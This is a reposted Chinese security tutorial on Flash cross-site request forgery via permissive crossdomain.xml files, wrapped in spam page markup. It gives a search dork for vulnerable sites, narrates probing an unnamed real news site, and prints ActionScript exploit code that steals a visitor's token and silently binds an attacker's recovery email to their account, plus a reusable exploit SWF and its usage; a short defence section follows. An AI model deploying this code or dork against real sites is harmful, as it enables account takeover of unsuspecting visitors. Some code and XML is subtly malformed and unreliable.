<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/688

                    目錄


                    0x00 Flash CSRF 名詞解釋
                    0x01 Flash CSRF形成的原因
                    0x02 Flash CSRF可以干些什么
                    0x03 Flash CSRF如何利用
                    0x04 Flash CSRF怎么防御
                    

                    0x00 Flash CSRF名詞解釋


                    CSRF(Cross-site request forgery跨站請求偽造,是一種對網站的惡意利用,CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。

                    Flash CSRF通常是由于Crossdomain.xml文件配置不當造成的,利用方法是使用swf來發起跨站請求偽造。

                    0x01 Flash CSRF形成的原因


                    So 官腔我們也打了,還是要干點實事PS::)

                    為人民服務的好孩子,我們來看看如何尋找Flash CSRF:

                    首先我們要知道怎么形成CSRF的

                    PS:CSRF形成的原因大概有以下幾種:

                    Flash跨域權限管理文件設置為允許所有主機/域名跨域對本站進行讀寫數據:

                    #!xml
                    This XML file does not appear to have any style information associated with it. The document tree is shown below.
                    <cross-domain-policy>
                        <allow-access-from?domain="*"/>
                    </cross-domain-policy>
                    

                    Flash跨域權限管理文件過濾規則不嚴(domain=”*”),導致可以從其它任何域傳Flash產生CSRF。

                    0x02 如何來發現哪些地方存在Flash CSRF


                    騷年們,前面我們介紹了形成Flash CSRF的原因,我們是不是就可以對站下藥了,難道又有一波個人資料被莫名被修改成“狗皮膏藥”廣告的節奏啊,敬告各位看官,看見了這篇文章之后請檢查自己的站是否存在Flash CSRF以免減少被舉報而帶來的巨額損失啊(吊絲們對各位看官望塵莫及啊):

                    由上面我們得知Flash CSRF是因為跨域權限管理文件配置不當而產生的,所以我們可以在根目錄打開Crossdomain.xml來查看該網站或者只域名是否存在FLAH的CSRF:

                    http://www.xxx.com/crossdomain.xml
                    


                    #!xml
                    This XML file does not appear to have any style information associated with it. The document tree is shown below.
                    <cross-domain-policy>
                    <allow-access-from?domain="*"/>
                    </cross-domain-policy>
                    

                    0x02 Flash CSRF可以干些什么


                    在一個月黑風高的夜晚,Flash CSRF慢慢的在向XX網靠近,下面說說我是怎么找到XX網的Flash CSRF和利用XX網的Flash CSRF直接修改訪問者賬號信息。

                    無聊的逛著各大新聞網站,感覺這些大部分新聞網站的新聞源都差不多沒幾下就看完了,最后覺得自己作為天朝一員還是應該關系關系下國家大事,就懵懂懂的打開了XX網,關心了下我國基本國情,始終耐不住寂寞,正好前兩天學習了Flash CSRF的原理和危害,但是一直沒找到東西練手,大家都知道天朝的網站是多么的牛B,但是也只是抱著試試的心態,完全就是小孩子玩玩泥巴而已了,玩笑時間到,回到正題:),我先打開xx網,按照剛剛前面查找該網站是否有Flash CSRF漏洞我們第一步該判斷什么?沒錯就是看官們看到的這樣,我也只是個凡人而已。。。。于是就有了如下的FlashCSRF漏洞查找流程:

                    Google hack:crossdomain filetype:xml
                    


                    #!xml
                    This XML file does not appear to have any style information associated with it. The document tree is shown below.
                    <cross-domain-policy>
                    <allow-access-from?domain="*" secure=”true”/>
                    </cross-domain-policy>
                    

                    Secure=true的意思是只允許通過安全鏈接來請求本域的數據。

                    隨手查看了發現前2個全都是需要用ssl證書加密了之后的網站里面的Flash的文件才能獲取本域的內容,突然之間腦海就浮現了一種奇怪的想法,自己搭建SSL網站,然后調用Flash文件進去不就可以讀他們網站的數據和發送post請求,可是又遇見瓶頸了,找了這么多地方我Flash還沒有地方可以插的,在不屑努力下,找到BLOG根目錄下面的CrossDomain.xml文件居然允許所有主機的Flash讀取本域的數據-PS:),下面我們就試試BLOG頁面,發現也有,當然耐心也是必須的。

                    0x03 Flash CSRF如何利用


                    我們找一個可以插入Flash的地方,插入我們自己寫的Flash,訪客訪問我們網頁就會執行我們寫的腳本,下面我們來看看Flash CSRF具體利用方法。 So~下面我們來制造一個訪客訪問我們鏈接的時候,自動設置自己的密保郵箱:

                    首先我們添加保密郵箱點提交,然后抓包分析它提交了什么內容,然后來構造我們的Flash CSRF利用代碼,下面我們提交綁定保密郵箱請求,抓包分析它的數據。 申請保密郵箱,瀏覽器向服務端發送了一個POST請求,請求地址和參數為:

                    POST:xxx.xxx.xx/xx.jsp?userid=xxxx&[email protected]
                    

                    [email protected]ferer,但是頁面驗證了Token,所以我們就可以直接把POST數據包中的請求地址,參數名,參數值,Token值取出來用于偽造綁定保密郵箱的請求。

                    利用代碼:

                    #!as3
                    package {
                        import flash.display.Sprite;
                        import flash.events.Event;
                        import flash.net.*;
                        import flash.text.TextField;
                        public class url extends Sprite
                        {
                            public function url()
                            {
                                //獲取當前頁面userid/token
                                var echo_txt:TextField = new TextField();
                                var targetURL:String = "http://xx.xx.cc";
                                var request:URLRequest = new URLRequest(targetURL);
                                request.method = URLRequestMethod.GET;
                                request.data = "";
                                sendToURL(request);
                                var loader:URLLoader=new URLLoader();
                                loader.addEventListener(Event.COMPLETE,completeHandler);
                                function completeHandler(event:Event):void{
                                var userid:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?xxid=(\d+)/)||["",""])[1];
                    
                     var masthash:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?masthash=(\d+)/)||["",""])[1];
                                echo_txt.text =  masthash;
                                //偽造申請密保郵箱POST請求
                                var emailtargetURL:String = "http://xxxxxx.xx.cc/xxxx/xxxx.jsp?mark=send";
                                var emailrequest:URLRequest = new URLRequest(emailtargetURL);
                                emailrequest.method = URLRequestMethod.POST;
                                var postdata:Object = new Array();
                                postdata[0]="[email protected]&xxxx="+xxxxx&"xxxxx="+xxx;
                                emailrequest.data = postdata[0];
                                sendToURL(emailrequest);
                                }
                                loader.load(request);
                            }
                        }
                    }
                    

                    我們用一個新賬號來做測試看看效果 :)

                    0x04 Flash CSRF怎么防御


                    知道Flash CSRF攻擊流程,然后在防御就so easy了~:)

                    媽媽再也不擔心我被Flash CSRF啦~雖然各位看官都明白了怎么防御,但是還是照例啰嗦一下啦:

                    一句話概括:站點根目錄CrossDomain.xml跨域獲取信息權限控制好,精確到子域,不給不法分子留下機會!! 附一份自己網站的CrossDomain.xml文件權限配置:

                    #!xml
                    <?xml version="1.0"?>
                    <cross-domain-policy>
                      <allow-access-from domain="http://xx.xx.com" secure="true”/>
                    <allow-access-from domain="http://cc.xx.com" secure="true”/>
                    </cross-domain-policy>
                    

                    根據自己的業務需求來更改CrossDomain.xml文件配置,切記精確到子域,這樣會大大減少Flash CSRF的風險!

                    通用Flash CSRF EXP : FlashCSRFexp.swf

                    使用方法:

                    FlashCSRFexp.swf?url=http://www.xx.xx/x.jsp?&xx=xx&xx=xx&xx=xx&xx=xx
                    PS:url=[post請求的地址]&[參數值用&分開]
                    

                    謝謝各位大牛捧場,十分感謝二哥,長短短,PKAV團隊的技術栽培 :)~

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频